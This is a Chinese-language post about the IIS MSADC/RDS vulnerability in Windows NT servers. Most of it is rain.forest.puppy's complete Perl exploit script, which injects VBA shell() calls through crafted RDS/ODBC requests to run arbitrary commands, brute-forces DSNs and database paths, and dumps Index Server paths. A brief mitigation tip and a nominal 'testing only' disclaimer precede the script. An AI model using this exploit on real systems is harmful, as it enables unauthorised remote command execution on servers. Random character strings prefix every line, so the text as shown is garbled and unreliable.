IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
8ycmvpJ ZCQ7xQD 涉及程序:
CI+dIv> Microsoft NT server
w8t,?dY LzEAA{ 描述:
v-85`h 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ILUA'T=B0 VV(>e@Bc4 详细:
9o.WJ 如果你没有时间读详细内容的话,就删除:
n6gYZd c:\Program Files\Common Files\System\Msadc\msadcs.dll
S7Xr~5>X 有关的安全问题就没有了。
J&{qe@^ \C3ir & 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
{IeW~S'& .+G),P) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
U*ZP>Vv 关于利用ODBC远程漏洞的描述,请参看:
t)o #!)| >G2o http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u7u8cVF l`2X'sw[/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
I/bED~Z:a http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,jBd3GdlZ H_'i.t 'SS 这里不再论述。
YJw 9 d] ]McLace& 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
]1 #& J( gmfux
b/ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
NF1e>O:a< 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
=2#a@D6Bl i0uBb%GMT }DTpl?l #将下面这段保存为txt文件,然后: "perl -x 文件名"
ce{GpmW /&=E=S6 #!perl
h<.G^c) #
6Q,-ZM=Z_p # MSADC/RDS 'usage' (aka exploit) script
ND\ #
P>=~\v nN# # by rain.forest.puppy
j380=?7 #
Qp7|p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
UXvk5t1 # beta test and find errors!
wVBY^TE p.q:vI$J use Socket; use Getopt::Std;
B]< 6\Z?= getopts("e:vd:h:XR", \%args);
nnmn@t(%r w:Fi
2aJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
C~vU pez^]I if (!defined $args{h} && !defined $args{R}) {
%3'4QmpR print qq~
C
#ng`7 q Usage: msadc.pl -h <host> { -d <delay> -X -v }
S .rT5A[ -h <host> = host you want to scan (ip or domain)
kZ+nL)YQ# -d <seconds> = delay between calls, default 1 second
TX]4Y953D -X = dump Index Server path table, if available
PY:
l -v = verbose
"U34D1I)# -e = external dictionary file for step 5
i^(_Gk ;C%40;Q Or a -R will resume a command session
59";{"sw -zg,pK$+ ~; exit;}
CjM+%l0MW CG IcuHp $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$]4^ENkI if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ll{jE if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
e# K =SV!H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
H,qIHQW# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hGcq>Cvf if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
#d%'BUde 2%N$Y] if (!defined $args{R}){ $ret = &has_msadc;
nBL7LocvR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~C<
X~$y& WO$PW`k print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@L^2VVWk^ . "cmd /c ";
^ Sx0t $in=<STDIN>; chomp $in;
w!)B\l^+c $command="cmd /c " . $in ;
6\)61o_1| S#qd#Zk|Y if (defined $args{R}) {&load; exit;}
c&2ZjM eX9{ wb( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
T[s_w-<7$ &try_btcustmr;
cD^n}'ej >`p`^: print "\nStep 2: Trying to make our own DSN...";
)JE;#m0q &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
aksyr$d0V< C$\|eC j print "\nStep 3: Trying known DSNs...";
sT dD=> &known_dsn;
Z{`;Ys:zk Mw@T!)( print "\nStep 4: Trying known .mdbs...";
R-J\c+C>W &known_mdb;
Nh~ Hh( VO>A+vx3M if (defined $args{e}){
+Y,>ftN print "\nStep 5: Trying dictionary of DSN names...";
$<2r;'?0D &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|c,":R 8Cz_LyL print "Sorry Charley...maybe next time?\n";
QRXsLdf$$ exit;
HDYr?t~V CfQOG7e@ ##############################################################################
*. l,_68 O^hWG ~o sub sendraw { # ripped and modded from whisker
4H8vB^ sleep($delay); # it's a DoS on the server! At least on mine...
A D=@ my ($pstr)=@_;
/j./ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:kq J~ die("Socket problems\n");
Dna0M0 if(connect(S,pack "SnA4x8",2,80,$target)){
?ltTJ(Po select(S); $|=1;
bLGgu# print $pstr; my @in=<S>;
xRW~xr2h@ select(STDOUT); close(S);
@jO3+ return @in;
#_y#sDfzh } else { die("Can't connect...\n"); }}
d/Xbk%`p cu(2BDfiL ##############################################################################
%TxFdF{A 2hAu~#X sub make_header { # make the HTTP request
oAe]/ j$ my $msadc=<<EOT
+ZtqR POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
n(,b$_JK7 User-Agent: ACTIVEDATA
G!k&'{2 Host: $ip
vGO- a2Z Content-Length: $clen
oEU %" Connection: Keep-Alive
W$ #FM$U D4<nS<8 ADCClientVersion:01.06
Bp6jF2 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v9INZ1# v x)l}d3
--!ADM!ROX!YOUR!WORLD!
g}0}$WgH: Content-Type: application/x-varg
!!4_x Content-Length: $reqlen
dON4r2-yC b gGd EOT
CE-ySIa ; $msadc=~s/\n/\r\n/g;
r9 'lFj return $msadc;}
<i"U%Ds ( P0S;aE ##############################################################################
v'Gqdd-#) 9kL'"0c sub make_req { # make the RDS request
Kvv&# eO\ my ($switch, $p1, $p2)=@_;
LGKkT?fcSC my $req=""; my $t1, $t2, $query, $dsn;
L=3^A'| @26H; if ($switch==1){ # this is the btcustmr.mdb query
CFAz/x@% $query="Select * from Customers where City=" . make_shell();
G+
PBV%gE[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2]C`S,) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m `~/]QQ 9+U%k(9 elsif ($switch==2){ # this is general make table query
0[TZ$<v" $query="create table AZZ (B int, C varchar(10))";
lZZ4 O( $dsn="$p1";}
qlD+[`=b buX$O{43I elsif ($switch==3){ # this is general exploit table query
L B1ui $query="select * from AZZ where C=" . make_shell();
#ebT$hf30 $dsn="$p1";}
N,V%/O{Y Fh9`8 elsif ($switch==4){ # attempt to hork file info from index server
.,(bDXl? $query="select path from scope()";
e4u$+ $dsn="Provider=MSIDXS;";}
qCOv4b` &e@2zfl7 elsif ($switch==5){ # bad query
mza1Q~< $query="select";
{uh]b(}s) $dsn="$p1";}
(o)nN8 .]0B=w* Z $t1= make_unicode($query);
/Z HuT=j1 $t2= make_unicode($dsn);
l;}D| 6+_W $req = "\x02\x00\x03\x00";
]=of=T: $req.= "\x08\x00" . pack ("S1", length($t1));
==`K$rM $req.= "\x00\x00" . $t1 ;
d$8rzd $req.= "\x08\x00" . pack ("S1", length($t2));
;!DUN zl $req.= "\x00\x00" . $t2 ;
E9HA8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
P\KP )bkC return $req;}
j!GJ$yd=-6 (h7 rW3 ##############################################################################
HiCNs;t 96T.xT>& sub make_shell { # this makes the shell() statement
S9J<3
= return "'|shell(\"$command\")|'";}
_JOrGVmD |lOxRUf~ ##############################################################################
5t#+UR G$XvxJ sub make_unicode { # quick little function to convert to unicode
o$oW-U my ($in)=@_; my $out;
D oX!P|* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
b>=MG8 return $out;}
SY>i@s+ML xK 9"t;!C& ##############################################################################
)Q9m,/F ~Wjm"|c sub rdo_success { # checks for RDO return success (this is kludge)
~4y&]:I my (@in) = @_; my $base=content_start(@in);
SkBa- *MC if($in[$base]=~/multipart\/mixed/){
*T$o"*} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
nx`!BNL'V return 0;}
]#P9.c_} o0^..f ##############################################################################
,$EM3 W76K/A<h> sub make_dsn { # this makes a DSN for us
ZQ9!k*
^ my @drives=("c","d","e","f");
V|KYkEl
r1 print "\nMaking DSN: ";
'; ,DgR;' foreach $drive (@drives) {
ne] |\] print "$drive: ";
}GJIM|7^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
N ncur] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$'*@g1vY . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i<&*f}=' $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7YsBwo return 0 if $2 eq "404"; # not found/doesn't exist
>Lp^QP1gU if($2 eq "200") {
2ikY.Xi6 foreach $line (@results) {
0{#,'sc; return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
kmPK |R } return 0;}
{j@
S<PD _"
W<> ##############################################################################
8-5MGh0L MO&QR-OY sub verify_exists {
S`gUSYS"w my ($page)=@_;
'uS!rKkQlu my @results=sendraw("GET $page HTTP/1.0\n\n");
z=:<]j#= return $results[0];}
-jnx0{/ |ybW ##############################################################################
n#t{3qzpD .ii9-+_ sub try_btcustmr {
U.is:&]E my @drives=("c","d","e","f");
3XdN\xc my @dirs=("winnt","winnt35","winnt351","win","windows");
lb ol+O65 7;RhA5M foreach $dir (@dirs) {
SO%x=W print "$dir -> "; # fun status so you can see progress
:L#t?~ foreach $drive (@drives) {
j@1cllJkh print "$drive: "; # ditto
eWzD'3h^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
H7n5k, $reqlenlen=length( "$reqlen" );
eKi/Mt
$clen= 206 + $reqlenlen + $reqlen;
yG|^-O}L 5!u.w my @results=sendraw(make_header() . make_req(1,$drive,$dir));
w^Qb9vTa8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ln%xp)t else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
BTjfzfO" 8"/5Lh( ##############################################################################
}ozlED`E ;> **+ezF sub odbc_error {
/B)ZB})z my (@in)=@_; my $base;
H6(kxpOI\ my $base = content_start(@in);
oVutHt if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
gXN#<g,:^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]Aap4+s $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E;$)Oz $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>y)(M(o return $in[$base+4].$in[$base+5].$in[$base+6];}
Ug02G print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
e\x=4i print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*5Upb,** $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
x'kwk N p9N#m? ##############################################################################
>FED*C4 ^(y=DJ7 sub verbose {
6,
\i0y5n my ($in)=@_;
q(<#7spz return if !$verbose;
<ABN/nH print STDOUT "\n$in\n";}
RB<LZHZI | n5F_RL ##############################################################################
@Aa$k:_ !]1X0wo\ sub save {
k_%2Ok my ($p1, $p2, $p3, $p4)=@_;
b);Pw"_2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
|d^r"wbs3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
+;~JHx.~X close OUT;}
y;Xb."e~ sPY*2B ##############################################################################
n^P=a'+ \hN\px sub load {
%}jwuNGA my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9k8ftxB^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
-BUxQ8/, @p=<IN>; close(IN);
C{>@b:]p $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
It'hmwu# $target= inet_aton($ip) || die("inet_aton problems");
nB"r<?n< print "Resuming to $ip ...";
nM:e<`r $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
amq]&.M if($p[1]==1) {
|S48xsFvq $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y: &?xR $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
w"d~R my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
jv7-i'I@ if (rdo_success(@results)){print "Success!\n";}
bK;I:JK3 else { print "failed\n"; verbose(odbc_error(@results));}}
^|y6oj elsif ($p[1]==3){
<,p|3p3 if(run_query("$p[3]")){
3qOq:ZkQ print "Success!\n";} else { print "failed\n"; }}
(7BG~T elsif ($p[1]==4){
qS<a5 `EA if(run_query($drvst . "$p[3]")){
mqgA print "Success!\n"; } else { print "failed\n"; }}
m^cr-' exit;}
W5,e;4/hL T|^rFaA ##############################################################################
~qQSt% #mg6F$E sub create_table {
YW55iyM my ($in)=@_;
lJ.:5$2H $reqlen=length( make_req(2,$in,"") ) - 28;
'Lu7cb^ $reqlenlen=length( "$reqlen" );
<>/0;J1< $clen= 206 + $reqlenlen + $reqlen;
PD$XLZ my @results=sendraw(make_header() . make_req(2,$in,""));
z=1 J{] return 1 if rdo_success(@results);
Kp?):6 my $temp= odbc_error(@results); verbose($temp);
nEu,1 return 1 if $temp=~/Table 'AZZ' already exists/;
!|6M ,Rk_ return 0;}
yO Ed8 MGpP'G:v ##############################################################################
D /ysS$!{
FEj{/ sub known_dsn {
yf`Nh # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0[
MQp"z my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
({ 'I;]AQ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{3=M-U~r "banner", "banners", "ads", "ADCDemo", "ADCTest");
am.}2QZU #4S">u foreach $dSn (@dsns) {
z%cq%P8g print ".";
T0BFit6 next if (!is_access("DSN=$dSn"));
[kwVxaI if(create_table("DSN=$dSn")){
,!+>/RlJ print "$dSn successful\n";
-w
nlJi1f if(run_query("DSN=$dSn")){
<#AS[Q[N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q\>9PKK print "Something's borked. Use verbose next time\n";}}} print "\n";}
2w)[1s[ p12'^i | ##############################################################################
`Wq4k>J}* r0kJx$f sub is_access {
:*|%g my ($in)=@_;
2u 8z>/G $reqlen=length( make_req(5,$in,"") ) - 28;
lM
]n $reqlenlen=length( "$reqlen" );
&}}c>]m $clen= 206 + $reqlenlen + $reqlen;
1SIhW:C my @results=sendraw(make_header() . make_req(5,$in,""));
}T=0]u4, my $temp= odbc_error(@results);
S9kagiFX\ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
8a{S* return 0;}
BeP]M1\?> q#9JJWSs ##############################################################################
>7%Gd-;l CVfQ sub run_query {
k(l my ($in)=@_;
&?L
K>QV $reqlen=length( make_req(3,$in,"") ) - 28;
)>,;
GVu" $reqlenlen=length( "$reqlen" );
.ko8`J%%M $clen= 206 + $reqlenlen + $reqlen;
1_JtD|Jy my @results=sendraw(make_header() . make_req(3,$in,""));
{2wfv2hQ return 1 if rdo_success(@results);
^q``f%Xt my $temp= odbc_error(@results); verbose($temp);
( iM*Y"Y return 0;}
1haH2F^q3 XBQ]A89G ##############################################################################
,i KEIxA! dXr=&@1 sub known_mdb {
r;:5P%: my @drives=("c","d","e","f","g");
M$&aNt; my @dirs=("winnt","winnt35","winnt351","win","windows");
=xwA'D9] my $dir, $drive, $mdb;
^M?O my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/ J 3 s}Y_og_c # this is sparse, because I don't know of many
7hAFK my @sysmdbs=( "\\catroot\\icatalog.mdb",
#wz1uw[pI! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
YC!Tgb~H "\\system32\\certmdb.mdb",
lGHU{7j\ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
yt,xA;g Brw-"tmx my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
lq0@)'D "\\cfusion\\cfapps\\forums\\forums_.mdb",
Y rq-( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
a1V+doC "\\cfusion\\cfapps\\security\\realm_.mdb",
5IOMc4v "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5!WQ "\\cfusion\\database\\cfexamples.mdb",
x3ds{Z$,>( "\\cfusion\\database\\cfsnippets.mdb",
|+Gv)Rvp "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
bvHF;Qywg "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
EB8=* B8 "\\cfusion\\brighttiger\\database\\cleam.mdb",
f#~X4@DH` "\\cfusion\\database\\smpolicy.mdb",
^Mw>'*5^ "\\cfusion\\database\cypress.mdb",
}.md$N_F "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
kmHIU}Z "\\website\\cgi-win\\dbsample.mdb",
+EI+@hS "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
-h=K]Y{` "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
T)%34gN ); #these are just
[I/f(GK foreach $drive (@drives) {
4`Com~`6" foreach $dir (@dirs){
>KF1]/y< foreach $mdb (@sysmdbs) {
*n9t~t6GHg print ".";
so[i"ZM) if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
pfd||Z print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6J/"1_ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
jP*5(*[&y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
DRS68^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
{&tbp
Bl# +
3+^J?N foreach $drive (@drives) {
fq*.4s
# foreach $mdb (@mdbs) {
?-"xP'# print ".";
"4W@p' if(create_table($drv . $drive . $dir . $mdb)){
RU}
M&& print "\n" . $drive . $dir . $mdb . " successful\n";
cEkf9:_La if(run_query($drv . $drive . $dir . $mdb)){
qs\O(K8 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
3;fuz Kk@b } else { print "Something's borked. Use verbose next time\n"; }}}}
7.hgne'< }
__x2xtrH _TF\y@hF*D ##############################################################################
M4hzf K$>C*?R sub hork_idx {
N}ur0 'J0 print "\nAttempting to dump Index Server tables...\n";
S`,(10Y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
=`VA_xVu $reqlen=length( make_req(4,"","") ) - 28;
{(mT,}`4 $reqlenlen=length( "$reqlen" );
S*3N6*-l" $clen= 206 + $reqlenlen + $reqlen;
dz^l6<a"n my @results=sendraw2(make_header() . make_req(4,"",""));
1pe eecE if (rdo_success(@results)){
ex_Zw+n my $max=@results; my $c; my %d;
F8e]sa$K\ for($c=19; $c<$max; $c++){
XXbAn-J $results[$c]=~s/\x00//g;
\0&7^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
CD$0Z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SM> V
o+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
6"+/Imb- $d{"$1$2"}="";}
&\(p<TF foreach $c (keys %d){ print "$c\n"; }
lq2Ah=FuN } else {print "Index server doesn't seem to be installed.\n"; }}
eow6{CD8 eKdF-; ##############################################################################
<